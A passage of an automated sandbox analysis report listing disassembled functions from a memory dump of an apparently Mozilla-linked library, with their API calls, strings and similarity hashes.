Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: WinVerifyTrust$wintrust.dll
API String ID: 145871493-2991032369
Opcode ID: eaa0a32988d83a467cadc169158c3dcd7499696abe0adc47f398955996946ddf
Instruction ID: 415906d5add5d809736bae3dfe0e9dffdf1773b4052da30d7f1979bd38f07487
Opcode Fuzzy Hash: eaa0a32988d83a467cadc169158c3dcd7499696abe0adc47f398955996946ddf
Instruction Fuzzy Hash: CFE092754203419BEB90BB6599087027FE8AB16244F1005BAF904C1632E7B9E40ECB50

Function 6BF260E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6BF25FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6BF260F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6BF25FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6BF26180
free.MOZGLUE(?,?,?,?,6BF25FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BF26211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6BF25FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6BF26229
free.MOZGLUE(?,?,?,?,6BF25FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BF2625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6BF25FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BF26271

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 2124780c6686ba527ecc8956adad4c5764d0235c85eefe133173aac393fea23a
Instruction ID: 3a7a3d5d84aa13c58dadcd048a794f7f7084ee0ee4d9b3bbb84eeae5b4e39467
Opcode Fuzzy Hash: 2124780c6686ba527ecc8956adad4c5764d0235c85eefe133173aac393fea23a
Instruction Fuzzy Hash: B451CEB2A002069FEF04CFA8D88076EB7B5EF45708F100439E616D7361E739E954CB61

Function 6BF627E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6BF62620,?,?,?,6BF560AA,6BF55FCB,6BF579A3), ref: 6BF6284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6BF62620,?,?,?,6BF560AA,6BF55FCB,6BF579A3), ref: 6BF6289A
free.MOZGLUE(?,?,?,6BF62620,?,?,?,6BF560AA,6BF55FCB,6BF579A3), ref: 6BF628F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6BF62620,?,?,?,6BF560AA,6BF55FCB,6BF579A3), ref: 6BF62910
free.MOZGLUE(00000001,?,?,6BF62620,?,?,?,6BF560AA,6BF55FCB,6BF579A3), ref: 6BF6293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6BF62620,?,?,?,6BF560AA,6BF55FCB,6BF579A3), ref: 6BF6294E

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 4b9c5fa3cee516f55ab608249b653d19a24df825417efff43910f1318512c038
Instruction ID: eb6619b780f2d90f9856cdf7b5111d1072126de95d95fb0bad0669c20a969fa2
Opcode Fuzzy Hash: 4b9c5fa3cee516f55ab608249b653d19a24df825417efff43910f1318512c038
Instruction Fuzzy Hash: 4641B0B2A0020A8FFB14CF68D88076A73E6BB85344F140839D956EB360F736E905CB91

Function 6BF1CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BF9E784), ref: 6BF1CFF6
LeaveCriticalSection.KERNEL32(6BF9E784), ref: 6BF1D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6BF1D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6BF1D139

Strings

MOZ_CRASH(), xrefs: 6BF1D187

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 63c24dc9c1ceee9c7c1289fee2264aa78b18b94c6f0f119cc594dc276ac6aca5
Instruction ID: f94b4aa4c033c5f5b61648e09b7bc74f1f922f10b5004d6bd0aeff15c027029e
Opcode Fuzzy Hash: 63c24dc9c1ceee9c7c1289fee2264aa78b18b94c6f0f119cc594dc276ac6aca5
Instruction Fuzzy Hash: 8541F337B642164FDB04DF7D8C9036A36B4FB49710F100539EA28E73A4D7B59C0A8B82

Function 6BF5D210 Relevance: 7.6, APIs: 5, Instructions: 115stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,6BF25820,?), ref: 6BF5D21F
moz_xmalloc.MOZGLUE(00000001,?,?,6BF25820,?), ref: 6BF5D22E

Part of subcall function 6BF2CA10: malloc.MOZGLUE(?), ref: 6BF2CA26

memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,6BF25820,?), ref: 6BF5D242
free.MOZGLUE(00000000,?,?,?,?,?,?,6BF25820,?), ref: 6BF5D253

Part of subcall function 6BF35E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6BF35EDB
Part of subcall function 6BF35E90: memset.VCRUNTIME140(6BF77765,000000E5,55CCCCCC), ref: 6BF35F27
Part of subcall function 6BF35E90: LeaveCriticalSection.KERNEL32(?), ref: 6BF35FB2

memcpy.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,6BF25820,?), ref: 6BF5D280

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalSectionmemset$EnterLeavefreemallocmemcpymoz_xmallocstrlen
String ID:
API String ID: 2029485308-0
Opcode ID: 890cf749ad0929ec87eeee47b2b10f23e6d8c2a9ee764ef2aadd548436fecc2a
Instruction ID: e79328741cac20384851ffbe515de6daa593be4539284f0a86b80abcfd0e8c1b
Opcode Fuzzy Hash: 890cf749ad0929ec87eeee47b2b10f23e6d8c2a9ee764ef2aadd548436fecc2a
Instruction Fuzzy Hash: A2313B7B90121A9FCB00CF68C881E6EBB75FF99704F244069D954AB311D37AE812C7E1

Function 6BF2C150 Relevance: 7.6, APIs: 5, Instructions: 110stringtimeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6BF2C1BC
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF2C1DC

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Now@Stamp@mozilla@@TimeV12@_strlen
String ID:
API String ID: 1885715127-0
Opcode ID: 0e3ddc02ef43c678155255ffa445a090bc1151ddd9b5c9f26f03b5af5fa7a3ef
Instruction ID: 8232cc9af72f836282d1a8ac38634a38cf3b5e3086cbeea48772971c92912bc0
Opcode Fuzzy Hash: 0e3ddc02ef43c678155255ffa445a090bc1151ddd9b5c9f26f03b5af5fa7a3ef
Instruction Fuzzy Hash: 8041D1B2D18350CFD710CF78D58174ABBE4BF86704F01896EE8889B262E738D548CB92

Function 6BF7A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BF9F770), ref: 6BF7A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BF7A87B

Part of subcall function 6BF7A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6BF7A88F,00000000), ref: 6BF7A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6BF7A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BF7A90C
LeaveCriticalSection.KERNEL32(6BF9F770), ref: 6BF7A97E

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: eef2721ea05e8be164a4bb81126650f36eee605062962b2179ac41025d83a2d1
Instruction ID: f05c0441e1673af7558a344105728cce56a3f5b131d06eaf56ccebba48fb0e7b
Opcode Fuzzy Hash: eef2721ea05e8be164a4bb81126650f36eee605062962b2179ac41025d83a2d1
Instruction Fuzzy Hash: 5241D7B2D002049FDB00EFA4E845B9EB7B5FF04324F108679E825AB3A1D739D955CB51

Function 6BF14310 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000010,?,6BF142D2), ref: 6BF1436A

Part of subcall function 6BF2CA10: malloc.MOZGLUE(?), ref: 6BF2CA26

memcpy.VCRUNTIME140(00000023,?,?,?,?,6BF142D2), ref: 6BF14387
moz_xmalloc.MOZGLUE(80000023,?,6BF142D2), ref: 6BF143B7
free.MOZGLUE(00000000,?,6BF142D2), ref: 6BF143EF
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,6BF142D2), ref: 6BF14406

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemallocmemcpy
String ID:
API String ID: 2563754823-0
Opcode ID: c5ba38e80bcb40a78c7f58ce0e1be61e35d9628c3869affe0dc4d8cbdee99d77
Instruction ID: 94300e8ed5ac094397487b9a4060204bc81502f11456629991f635151d80d7d8
Opcode Fuzzy Hash: c5ba38e80bcb40a78c7f58ce0e1be61e35d9628c3869affe0dc4d8cbdee99d77
Instruction Fuzzy Hash: 5B31F773A081158FD714DE799C9056EB7A6EB80228F100E29E855DB3E0E734E9209BA2

Function 6BF70B90 Relevance: 7.6, APIs: 5, Instructions: 92timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF70BBC

Part of subcall function 6BF35C50: GetTickCount64.KERNEL32 ref: 6BF35D40
Part of subcall function 6BF35C50: EnterCriticalSection.KERNEL32(6BF9F688), ref: 6BF35D67

?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF70BCA
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF70BD5

Part of subcall function 6BF35C50: __aulldiv.LIBCMT ref: 6BF35DB4
Part of subcall function 6BF35C50: LeaveCriticalSection.KERNEL32(6BF9F688), ref: 6BF35DED

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF70BE2
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6BF70C9A

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Time$StampV01@@Value@mozilla@@$CriticalSection$BaseCount64Creation@DurationEnterLeavePlatformProcessSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@__aulldiv
String ID:
API String ID: 3168180809-0
Opcode ID: edc6bfe17cd5a1fe688a8d3b6f805766cbeac76b77fc581081f53e1008b5420d
Instruction ID: d74034fb79e7176cab97505bf91443b38e1518789b03b86efc4cb304a283570f
Opcode Fuzzy Hash: edc6bfe17cd5a1fe688a8d3b6f805766cbeac76b77fc581081f53e1008b5420d
Instruction Fuzzy Hash: D63125729147158AC724DF38888051BB7E8BF867B0F104B2FF8A5A32E0DB74D8448BD2

Function 6BF75EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6BF8DCA0,?,?,?,6BF4E8B5,00000000), ref: 6BF75F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6BF4E8B5,00000000), ref: 6BF75F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6BF4E8B5,00000000), ref: 6BF75F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6BF4E8B5,00000000), ref: 6BF75F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6BF4E8B5,00000000), ref: 6BF75FD6

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: fa919d82378eb3b76cc98c44ff2d38db1e32e33692ad8455a38fedc982736d30
Instruction ID: 3c19ecc77e2d00ef6b704906acec9d2f2054f61c3a901923f003607fa9b80acb
Opcode Fuzzy Hash: fa919d82378eb3b76cc98c44ff2d38db1e32e33692ad8455a38fedc982736d30
Instruction Fuzzy Hash: 443190353006008FD720DF29D898E6AB7E5FF89714B5489A9FA568B3A6C735EC05CBC0

Function 6BF1B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6BF1B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6BF1B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6BF1B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6BF1B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF1B849

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: ea4352ac196e9240532ff8c850159ee88b6a28eeb81fe308e44fce5e105dee28
Instruction ID: 00a43bd53362a157c2bc38368eecf749714f3cc6ce41c17be869f6b8763286df
Opcode Fuzzy Hash: ea4352ac196e9240532ff8c850159ee88b6a28eeb81fe308e44fce5e105dee28
Instruction Fuzzy Hash: 2B218BB2D00209DFEF04CFA9C8856BEBBB4EF49714F048429EC06A7311E735A945CBA0

Function 6BF26390 Relevance: 7.6, APIs: 5, Instructions: 72threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF263D0
AcquireSRWLockExclusive.KERNEL32 ref: 6BF263DF
ReleaseSRWLockExclusive.KERNEL32 ref: 6BF2640E
__Init_thread_footer.LIBCMT ref: 6BF26467
??$AddMarkerToBuffer@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@AAVProfileChunkedBuffer@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6BF264A8

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Marker$D@std@@ExclusiveLockProfileTextU?$char_traits@V?$allocator@V?$basic_string@$AcquireBlockBufferBuffer@Buffer@1@Category@1@$$ChunkedCurrentD@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@Index@1@Init_thread_footerMarker@markers@01@Marker@markers@baseprofiler@mozilla@@Options@1@ProfilerReleaseStringThreadView@
String ID:
API String ID: 3202982786-0
Opcode ID: 7cd66e79677981d1d14534e67dcde92c3b24e576884e4b64831af7a5a4abcb36
Instruction ID: 1835431f7a9433bf64f1f889d7291d2e664af7bded96c452beb570f55530ce29
Opcode Fuzzy Hash: 7cd66e79677981d1d14534e67dcde92c3b24e576884e4b64831af7a5a4abcb36
Instruction Fuzzy Hash: ED318BB24142019FDB40EF6DD08575ABBF0FB86359F11442EE89583362C738A88ACB53

Function 6BF79B50 Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

??KDecimal@blink@@QBE?AV01@ABV01@@Z.MOZGLUE(?,?), ref: 6BF79B74
?ceil@Decimal@blink@@QBE?AV12@XZ.MOZGLUE ref: 6BF79BBA
?floor@Decimal@blink@@QBE?AV12@XZ.MOZGLUE ref: 6BF79BC8
??DDecimal@blink@@QBE?AV01@ABV01@@Z.MOZGLUE(?,?), ref: 6BF79BD7
??GDecimal@blink@@QBE?AV01@ABV01@@Z.MOZGLUE(?,?,?,?), ref: 6BF79BE0

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Decimal@blink@@$V01@V01@@$V12@$?ceil@?floor@
String ID:
API String ID: 2380687156-0
Opcode ID: 6b9139e0af785bd06a29731cbbdb4942e7bb2b5c69417cb48aa834d2f5de8547
Instruction ID: b31f0e7090a343d0aa82b970543fe8395300bcef6fabd135b315c0c639eef27d
Opcode Fuzzy Hash: 6b9139e0af785bd06a29731cbbdb4942e7bb2b5c69417cb48aa834d2f5de8547
Instruction Fuzzy Hash: DF11A333914304A78710BF389C4189BB7B8FFC6264F008A5EF99546162EF359648C792

Function 6BF75850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6BF7586C
CloseHandle.KERNEL32 ref: 6BF75878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6BF75898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6BF758C9
free.MOZGLUE(00000000), ref: 6BF758D3

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: a4db511e80aa17b44308f6c935430cd031270046467a1fa21f515dc21a81e3d0
Instruction ID: aab02309512dfda2c4e3882b0bf27d7bd8b2d829a0b2bf7070d98453b49cca43
Opcode Fuzzy Hash: a4db511e80aa17b44308f6c935430cd031270046467a1fa21f515dc21a81e3d0
Instruction Fuzzy Hash: 8E0162725242019BDF41BF1AE8087067BB9FB8332576450B6F51AC2230DB35E81E8F81

Function 6BF71700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6BF71800

Part of subcall function 6BF4CBE8: GetCurrentProcess.KERNEL32(?,6BF131A7), ref: 6BF4CBF1
Part of subcall function 6BF4CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BF131A7), ref: 6BF4CBFA

Part of subcall function 6BF14290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6BF53EBD,6BF53EBD,00000000), ref: 6BF142A9

Strings

name, xrefs: 6BF71939
Details, xrefs: 6BF71925
{marker.name} - {marker.data.name}, xrefs: 6BF718C7

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 4d0e6faf77df4c81c60ba9153824a66f7395d9bc3acc37ca7b5cb486eb3831fb
Instruction ID: 0d4f78f0aa50fd09712f30e593a508b3cd895989f05cde7ef13fc1f1c6a1044f
Opcode Fuzzy Hash: 4d0e6faf77df4c81c60ba9153824a66f7395d9bc3acc37ca7b5cb486eb3831fb
Instruction Fuzzy Hash: 8E7102B2A003469FD704EF38D45075ABBB1FF85304F0046A9D8158B751D778EA99CBE2

Function 6BF7B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6BF7B0A6,6BF7B0A6,?,6BF7AF67,?,00000010,?,6BF7AF67,?,00000010,00000000,?,?,6BF7AB1F), ref: 6BF7B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6BF7B0A6,6BF7B0A6,?,6BF7AF67,?,00000010,?,6BF7AF67,?,00000010,00000000,?), ref: 6BF7B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6BF7B0A6,6BF7B0A6,?,6BF7AF67,?,00000010,?,6BF7AF67,?,00000010), ref: 6BF7B25F

Strings

